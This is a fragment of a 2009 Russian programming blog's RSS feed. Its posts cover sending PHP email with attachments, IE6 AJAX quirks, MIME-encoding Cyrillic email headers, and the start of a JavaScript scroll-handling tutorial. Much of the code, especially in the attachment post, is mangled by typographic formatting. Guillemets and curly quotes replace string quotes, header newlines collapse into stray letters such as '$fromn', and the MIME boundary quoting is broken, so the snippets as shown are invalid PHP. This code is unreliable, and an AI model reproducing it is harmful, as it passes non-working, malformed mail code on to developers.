			<wfw:commentRss>http://saintist.ru/2009/05/25/pol-bakxajt-paul-buchheit-ne-v-dengax-schaste/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP email с вложением</title>
		<link>http://saintist.ru/2009/05/21/php-email-attach/</link>
		<comments>http://saintist.ru/2009/05/21/php-email-attach/#comments</comments>
		<pubDate>Thu, 21 May 2009 19:50:55 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=426</guid>
		<description><![CDATA[Приведена функция позволяющая рассылать письма с вложениями. &#60;? $from = &#171;admin&#187;; // От кого $to = &#171;tiger1989@mail.ru&#187;; // Кому $filename = &#171;certificates/image.jpg&#187;; // Полное имя файла $subj = &#8216;TIGER IMAGE&#8217;; // Тема сообщения $text = &#8216;Hello from tigercms.com&#8217;; // Тело сообщения $f = fopen($filename,&#171;rb&#187;); // Открываем и читаем бинарно файл $filename $un = strtoupper(uniqid(time())); $head [...]]]></description>
			<content:encoded><![CDATA[<p>Приведена функция позволяющая рассылать письма с вложениями.<br />
<span id="more-426"></span><br />
&lt;?</p>
<p><span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'times new roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="font-family: -webkit-monospace; font-size: 12px; text-align: left;"><span style="color: #0000bb;">$from<span class="Apple-converted-space"> </span></span><span style="color: #007700;">=<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#171;admin&#187;</span><span style="color: #007700;">;<span class="Apple-converted-space"> </span></span><span style="color: #ff8000;">// От кого<br />
</span><span style="color: #0000bb;">$to<span class="Apple-converted-space"> </span></span><span style="color: #007700;">=<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#171;tiger1989@mail.ru&#187;</span><span style="color: #007700;">;<span class="Apple-converted-space"> </span></span><span style="color: #ff8000;">// Кому<br />
</span><span style="color: #0000bb;">$filename<span class="Apple-converted-space"> </span></span><span style="color: #007700;">=<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#171;certificates/image.jpg&#187;</span><span style="color: #007700;">;<span class="Apple-converted-space"> </span></span><span style="color: #ff8000;">// Полное имя файла<span class="Apple-converted-space"> </span><br />
</span><span style="color: #0000bb;">$subj<span class="Apple-converted-space"> </span></span><span style="color: #007700;">=<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#8216;TIGER IMAGE&#8217;</span><span style="color: #007700;">;<span class="Apple-converted-space"> </span></span><span style="color: #ff8000;">// Тема сообщения<br />
</span><span style="color: #0000bb;">$text<span class="Apple-converted-space"> </span></span><span style="color: #007700;">=<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#8216;Hello from tigercms.com&#8217;</span><span style="color: #007700;">;<span class="Apple-converted-space"> </span></span><span style="color: #ff8000;">// Тело сообщения<br />
</span><span style="color: #0000bb;">$f<span class="Apple-converted-space"> </span></span><span style="color: #007700;">=<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">fopen</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$filename</span><span style="color: #007700;">,</span><span style="color: #dd0000;">&#171;rb&#187;</span><span style="color: #007700;">);<span class="Apple-converted-space"> </span></span><span style="color: #ff8000;">// Открываем и читаем бинарно файл $filename<br />
</span><span style="color: #0000bb;">$un<span class="Apple-converted-space"> </span></span><span style="color: #007700;">=<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">strtoupper</span><span style="color: #007700;">(</span><span style="color: #0000bb;">uniqid</span><span style="color: #007700;">(</span><span style="color: #0000bb;">time</span><span style="color: #007700;">()));<span class="Apple-converted-space"> </span><br />
</span><span style="color: #0000bb;">$head<span class="Apple-converted-space"> </span></span><span style="color: #007700;">=<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#171;From: $fromn&#187;</span><span style="color: #007700;">;<span class="Apple-converted-space"> </span></span><span style="color: #ff8000;">// Создаем заголовки нашего письма<br />
</span><span style="color: #0000bb;">$head<span class="Apple-converted-space"> </span></span><span style="color: #007700;">.=<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#171;To: $to &#171;</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">$head<span class="Apple-converted-space"> </span></span><span style="color: #007700;">.=<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#171;Subject: $subj &#171;</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">$head<span class="Apple-converted-space"> </span></span><span style="color: #007700;">.=<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#171;X-Mailer: PHPMail Tool &#171;</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">$head<span class="Apple-converted-space"> </span></span><span style="color: #007700;">.=<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#171;Reply-To: $from &#171;</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">$head<span class="Apple-converted-space"> </span></span><span style="color: #007700;">.=<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#171;Mime-Version: 1.0 &#171;</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">$head<span class="Apple-converted-space"> </span></span><span style="color: #007700;">.=<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#171;Content-Type:multipart/mixed;&#187;</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">$head<span class="Apple-converted-space"> </span></span><span style="color: #007700;">.=<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#171;boundary=&#187;</span><span style="color: #007700;">&#8212;&#8212;&#8212;-</span><span style="color: #dd0000;">&#171;.$un.&#187;" &#171;</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">$zag<span class="Apple-converted-space"> </span></span><span style="color: #007700;">=<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#171;&#8212;&#8212;&#8212;&#8212;&#187;</span><span style="color: #007700;">.</span><span style="color: #0000bb;">$un</span><span style="color: #007700;">.</span><span style="color: #dd0000;">&#187; Content-Type:text/html; &#171;</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">$zag<span class="Apple-converted-space"> </span></span><span style="color: #007700;">.=<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#171;Content-Transfer-Encoding: 8bit $text &#171;</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">$zag<span class="Apple-converted-space"> </span></span><span style="color: #007700;">.=<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#171;&#8212;&#8212;&#8212;&#8212;&#187;</span><span style="color: #007700;">.</span><span style="color: #0000bb;">$un</span><span style="color: #007700;">.</span><span style="color: #dd0000;">&#187; &#171;</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">$zag<span class="Apple-converted-space"> </span></span><span style="color: #007700;">.=<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#171;Content-Type: application/octet-stream;&#187;</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">$zag<span class="Apple-converted-space"> </span></span><span style="color: #007700;">.=<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#171;name=&#187;".basename($filename).&#187;" &#171;</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">$zag<span class="Apple-converted-space"> </span></span><span style="color: #007700;">.=<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#171;Content-Transfer-Encoding:base64 &#171;</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">$zag<span class="Apple-converted-space"> </span></span><span style="color: #007700;">.=<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#171;Content-Disposition:attachment;&#187;</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">$zag<span class="Apple-converted-space"> </span></span><span style="color: #007700;">.=<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#171;filename=&#187;".basename($filename).&#187;" &#171;</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">$zag<span class="Apple-converted-space"> </span></span><span style="color: #007700;">.=<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">chunk_split</span><span style="color: #007700;">(</span><span style="color: #0000bb;">base64_encode</span><span style="color: #007700;">(</span><span style="color: #0000bb;">fread</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$f</span><span style="color: #007700;">,</span><span style="color: #0000bb;">filesize</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$filename</span><span style="color: #007700;">)))).</span><span style="color: #dd0000;">&#187; &#171;</span><span style="color: #007700;">;<span class="Apple-converted-space"> </span></span><span style="color: #ff8000;">// Кодируем строку<br />
// в base64, деля файл на небольшие «куски» функцией &#171;chunk_split&#187;</p>
<p></span><span style="color: #0000bb;">mail</span><span style="color: #007700;">(</span><span style="color: #dd0000;">&#171;$to&#187;</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#171;$subj&#187;</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$zag</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$head</span><span style="color: #007700;">);<span class="Apple-converted-space"> </span></span><span style="color: #ff8000;">// Посылаем письмо функцией mail()</p>
<p></span><span style="color: #0000bb;">?&gt;</span></span></span><!--more--></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/21/php-email-attach/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>AJAX в Internet Explorer 6</title>
		<link>http://saintist.ru/2009/05/21/ajax-v-internet-explorer-6/</link>
		<comments>http://saintist.ru/2009/05/21/ajax-v-internet-explorer-6/#comments</comments>
		<pubDate>Thu, 21 May 2009 19:46:06 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[IE6]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=423</guid>
		<description><![CDATA[Если передаваемый сервером заголовок с кодировкой не понятен IE, то возникает прекрасная, красноречивая Системная ошибка: -1072896658. IE приводит к нижнему регистру передаваемые custom-заголовки запросов, например X-Requested-With: XMLHttpRequest превращается на сервере в x-requested-with: xmlhttprequest). Зачем? Internet Explorer иногда не кеширует фоновые изображения, полученные через AJAX; повторно загружаемый фон «забывает» посмотреть в кеше. IE некорректно парсит js-код [...]]]></description>
			<content:encoded><![CDATA[<p>Если передаваемый сервером заголовок с кодировкой не понятен IE, то возникает прекрасная, красноречивая Системная ошибка: -1072896658.<br />
<span id="more-423"></span></p>
<p>IE приводит к нижнему регистру передаваемые custom-заголовки запросов, например X-Requested-With: XMLHttpRequest превращается на сервере в x-requested-with: xmlhttprequest). Зачем?</p>
<p>Internet Explorer иногда не кеширует фоновые изображения, полученные через AJAX; повторно загружаемый фон «забывает» посмотреть в кеше.</p>
<p>IE некорректно парсит js-код в HTML-куске, полученном через AJAX, если есть классические скрывающие комментарии:</p>
<p><span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'times new roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="font-family: -webkit-monospace; font-size: 12px; text-align: left;"><span style="color: #0000bb;">…HTML</span><span style="color: #007700;">-</span><span style="color: #0000bb;">код…<br />
</span><span style="color: #007700;">&lt;</span><span style="color: #0000bb;">script type</span><span style="color: #007700;">=</span><span style="color: #dd0000;">&#171;text/javascript&#187;</span><span style="color: #007700;">&gt;<br />
&lt;!&#8212;<br />
</span><span style="color: #0000bb;">…js</span><span style="color: #007700;">-</span><span style="color: #0000bb;">код…<br />
</span><span style="color: #ff8000;">//&#8212;&gt;<br />
</span><span style="color: #0000bb;">&lt;/script&gt;</span></span></span><br />
<span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'times new roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="font-family: -webkit-monospace; font-size: 12px; text-align: left;"><span style="color: #0000bb;">…HTML</span><span style="color: #007700;">-</span><span style="color: #0000bb;">код…</span></span></span></p>
<p><span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'times new roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="font-family: Verdana; font-size: 12px;">Достаточно убрать эти комментарии и всё заработает как надо, без ошибок.</span></span></p>
<p><span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'times new roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="font-family: Verdana; font-size: 12px;"><a style="color: #004499; text-decoration: none;" href="http://www.internet-technologies.ru/?url=http%3A%2F%2Fwww.prototypejs.ru%2F" target="_blank"><br />
</a></span></span></p>
<p><span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'times new roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="font-family: Verdana; font-size: 12px;"><br />
</span></span></p>
<p>Prototype&#8217;овский класс Ajax.PeriodicalUpdater (или просто обновление блока по timeout через window.setTimeout) приводит к утечке памяти в IE. Если окно достаточно долго повисит открытым, то потом на очистку памяти (средствами Prototype&#8217;а) очень много времени может уходить и кажется, что браузер намертво завис. Полный отказ от анонимных вложенных функций (closures) не представляется возможным, Prototype сильно на них опирается. </p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/21/ajax-v-internet-explorer-6/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Отправка e-mail ,  PHP и русская кодировка</title>
		<link>http://saintist.ru/2009/05/21/otpravka-e-mail-php-i-russkaya-kodirovka/</link>
		<comments>http://saintist.ru/2009/05/21/otpravka-e-mail-php-i-russkaya-kodirovka/#comments</comments>
		<pubDate>Thu, 21 May 2009 19:39:51 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=421</guid>
		<description><![CDATA[Функция отправки почты в PHP не заботится о кодировке письма.Существует простая функция, которая отправляет MIME-совместимые письма на русском языке. Тело письма может быть текстом в любой кодировке. Немного сложнее дело обстоит с составляющими заголовка письма (Subject, From, To), они по стандарту должны быть в US-ASCII. Использование в заголовках кодированного текста регламентируется стандартом RFC-2047. Стандарт задает [...]]]></description>
			<content:encoded><![CDATA[<p>Функция отправки почты в PHP не заботится о кодировке письма.Существует простая функция, которая отправляет MIME-совместимые письма на русском языке.<br />
<span id="more-421"></span></p>
<p>Тело письма может быть текстом в любой кодировке. Немного сложнее дело обстоит с составляющими заголовка письма (Subject, From, To), они по стандарту должны быть в US-ASCII.<br />
Использование в заголовках кодированного текста регламентируется стандартом RFC-2047.<br />
Стандарт задает две возможные формы кодирования &#8212; BASE64 и Quoted-Printable. BASE64 более универсальна и работает в том числе для кодировки UTF-8, поэтому мы выбрали именно эту форму.<br />
MIME-совместимый почтовый клиент обязан уметь читать обе формы.</p>
<p>&gt;   <span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'times new roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="font-family: -webkit-monospace; font-size: 12px; text-align: left;"><span style="color: #007700;">&lt;?</span><span style="color: #0000bb;">php</span></span></span></p>
<p><span style="color: #007700;">function<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">send_mime_mail</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$name_from</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #ff8000;">// имя отправителя<br />
</span><span style="color: #0000bb;">$email_from</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #ff8000;">// email отправителя<br />
</span><span style="color: #0000bb;">$name_to</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #ff8000;">// имя получателя<br />
</span><span style="color: #0000bb;">$email_to</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #ff8000;">// email получателя<br />
</span><span style="color: #0000bb;">$data_charset</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #ff8000;">// кодировка переданных данных<br />
</span><span style="color: #0000bb;">$send_charset</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #ff8000;">// кодировка письма<br />
</span><span style="color: #0000bb;">$subject</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #ff8000;">// тема письма<br />
</span><span style="color: #0000bb;">$body<span class="Apple-converted-space"> </span></span><span style="color: #ff8000;">// текст письма<br />
</span><span style="color: #007700;">) {<br />
<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$to<span class="Apple-converted-space"> </span></span><span style="color: #007700;">=<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">mime_header_encode</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$name_to</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$data_charset</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$send_charset</span><span style="color: #007700;">)<br />
.<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#8216; &lt;&#8217;<span class="Apple-converted-space"> </span></span><span style="color: #007700;">.<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$email_to<span class="Apple-converted-space"> </span></span><span style="color: #007700;">.<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#8216;&gt;&#8217;</span><span style="color: #007700;">;<br />
<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$subject<span class="Apple-converted-space"> </span></span><span style="color: #007700;">=<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">mime_header_encode</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$subject</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$data_charset</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$send_charset</span><span style="color: #007700;">);<br />
<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$from<span class="Apple-converted-space"> </span></span><span style="color: #007700;">= <span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">mime_header_encode</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$name_from</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$data_charset</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$send_charset</span><span style="color: #007700;">)<br />
.</span><span style="color: #dd0000;">&#8216; &lt;&#8217;<span class="Apple-converted-space"> </span></span><span style="color: #007700;">.<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$email_from<span class="Apple-converted-space"> </span></span><span style="color: #007700;">.<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#8216;&gt;&#8217;</span><span style="color: #007700;">;<br />
if(</span><span style="color: #0000bb;">$data_charset<span class="Apple-converted-space"> </span></span><span style="color: #007700;">!=<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$send_charset</span><span style="color: #007700;">) {<br />
<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$body<span class="Apple-converted-space"> </span></span><span style="color: #007700;">=<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">iconv</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$data_charset</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$send_charset</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$body</span><span style="color: #007700;">);<br />
}<br />
<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$headers<span class="Apple-converted-space"> </span></span><span style="color: #007700;">=<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#171;From: $from\r\n&#187;</span><span style="color: #007700;">;<br />
<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$headers<span class="Apple-converted-space"> </span></span><span style="color: #007700;">.=<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#171;Content-type: text/plain; charset=$send_charset\r\n&#187;</span><span style="color: #007700;">;</span></p>
<p>return<span class="Apple-converted-space"> </span><span style="color: #0000bb;">mail</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$to</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$subject</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$body</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$headers</span><span style="color: #007700;">);<br />
}</span></p>
<p>function<span class="Apple-converted-space"> </span><span style="color: #0000bb;">mime_header_encode</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$str</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$data_charset</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$send_charset</span><span style="color: #007700;">) {<br />
if(</span><span style="color: #0000bb;">$data_charset<span class="Apple-converted-space"> </span></span><span style="color: #007700;">!=<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$send_charset</span><span style="color: #007700;">) {<br />
<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$str<span class="Apple-converted-space"> </span></span><span style="color: #007700;">=<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">iconv</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$data_charset</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$send_charset</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$str</span><span style="color: #007700;">);<br />
}<br />
return<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#8216;=?&#8217;<span class="Apple-converted-space"> </span></span><span style="color: #007700;">.<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">$send_charset<span class="Apple-converted-space"> </span></span><span style="color: #007700;">.<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#8216;?B?&#8217;<span class="Apple-converted-space"> </span></span><span style="color: #007700;">.<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">base64_encode</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$str</span><span style="color: #007700;">) .<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#8216;?=&#8217;</span><span style="color: #007700;">;<br />
}</span></p>
<p><span style="color: #0000bb;">?&gt;</span></p>
<p><span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'times new roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="font-family: Verdana; font-size: 12px;"><br />
</span></span></p>
<p>Функция mime_header_encode() для преобразования каждого заголовка в MIME-совместимый формат, несмотря на то, что в PHP предусмотрена аналогичная функция mb_encode_mimeheader().</p>
<p>От встроенной функции пришлось отказаться, в PHP 5.1.6 она работает некорректно и возвращает неверный результат.</p>
<p>В случае, если кодировка отправки письма отличается от текущей кодировки данных, используется iconv() для преобразования кодировки.</p>
<p>Пример:</p>
<p>&gt;<span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'times new roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="font-family: -webkit-monospace; font-size: 12px; text-align: left;"><span style="color: #007700;">&lt;?</span><span style="color: #0000bb;">php<br />
send_mime_mail</span><span style="color: #007700;">(</span><span style="color: #dd0000;">&#8216;Автор письма&#8217;</span><span style="color: #007700;">,<br />
</span><span style="color: #dd0000;">&#8216;sender@site.ru&#8217;</span><span style="color: #007700;">,<br />
</span><span style="color: #dd0000;">&#8216;Получатель письма&#8217;</span><span style="color: #007700;">,<br />
</span><span style="color: #dd0000;">&#8216;recepient@site.ru&#8217;</span><span style="color: #007700;">,<br />
</span><span style="color: #dd0000;">&#8216;CP1251&#8242;</span><span style="color: #007700;">, <span class="Apple-converted-space"> </span></span><span style="color: #ff8000;">// кодировка, в которой находятся передаваемые строки<br />
</span><span style="color: #dd0000;">&#8216;KOI8-R&#8217;</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #ff8000;">// кодировка, в которой будет отправлено письмо<br />
</span><span style="color: #dd0000;">&#8216;Письмо-уведомление&#8217;</span><span style="color: #007700;">,<br />
</span><span style="color: #dd0000;">&#171;Здравствуйте, я Ваша программа!&#187;</span><span style="color: #007700;">);<br />
</span><span style="color: #0000bb;">?&gt;</span></span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/21/otpravka-e-mail-php-i-russkaya-kodirovka/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>JavaScript scroll как отследить</title>
		<link>http://saintist.ru/2009/05/21/javascript-scroll-kak-otsledit/</link>
		<comments>http://saintist.ru/2009/05/21/javascript-scroll-kak-otsledit/#comments</comments>
		<pubDate>Thu, 21 May 2009 19:31:14 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[js]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=416</guid>
		<description><![CDATA[Функционал сайтов зачастую похож на функционал полноценных приложений. Одна из задач, которая возникает при этом — обработка скролла в JavaScript. Необходимо решить следующие задачи: 1. Поймать событие скролла. 2. Определить направление. 3. Заблокировать дефолтную обработку браузером — прокрутку страницы. Функция для добавления обработчика событий. function addHandler(object, event, handler, useCapture) { if (object.addEventListener) { object.addEventListener(event, handler, [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/05/scroll.jpg"><img class="size-medium wp-image-417 aligncenter" title="scroll" src="http://saintist.ru/wp-content/uploads/2009/05/scroll-283x300.jpg" alt="scroll" width="283" height="300" /></a></p>
<p>Функционал сайтов зачастую похож на функционал полноценных приложений. Одна из задач, которая возникает при этом — обработка скролла в JavaScript.<br />
<span id="more-416"></span></p>
<p>Необходимо решить следующие задачи:</p>
<p>1. Поймать событие скролла.<br />
2. Определить направление.<br />
3. Заблокировать дефолтную обработку браузером — прокрутку страницы.</p>
<p>Функция для добавления обработчика событий.</p>
<p><span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'times new roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="font-family: -webkit-monospace; font-size: 12px; text-align: left;"><span style="color: #007700;">function<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">addHandler</span><span style="color: #007700;">(</span><span style="color: #0000bb;">object</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">event</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">handler</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">useCapture</span><span style="color: #007700;">) {<br />
if (</span><span style="color: #0000bb;">object</span><span style="color: #007700;">.</span><span style="color: #0000bb;">addEventListener</span><span style="color: #007700;">) {<br />
</span><span style="color: #0000bb;">object</span><span style="color: #007700;">.</span><span style="color: #0000bb;">addEventListener</span><span style="color: #007700;">(</span><span style="color: #0000bb;">event</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">handler</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">useCapture<span class="Apple-converted-space"> </span></span><span style="color: #007700;">?<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">useCapture<span class="Apple-converted-space"> </span></span><span style="color: #007700;">:<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">false</span><span style="color: #007700;">);<br />
} else if (</span><span style="color: #0000bb;">object</span><span style="color: #007700;">.</span><span style="color: #0000bb;">attachEvent</span><span style="color: #007700;">) {<br />
</span><span style="color: #0000bb;">object</span><span style="color: #007700;">.</span><span style="color: #0000bb;">attachEvent</span><span style="color: #007700;">(</span><span style="color: #dd0000;">&#8216;on&#8217;<span class="Apple-converted-space"> </span></span><span style="color: #007700;">+<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">event</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">handler</span><span style="color: #007700;">);<br />
} else<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">alert</span><span style="color: #007700;">(</span><span style="color: #dd0000;">&#171;Add handler is not supported&#187;</span><span style="color: #007700;">);<br />
}<br />
</span><span style="color: #ff8000;">// Добавляем обработчики<br />
/* Gecko */<br />
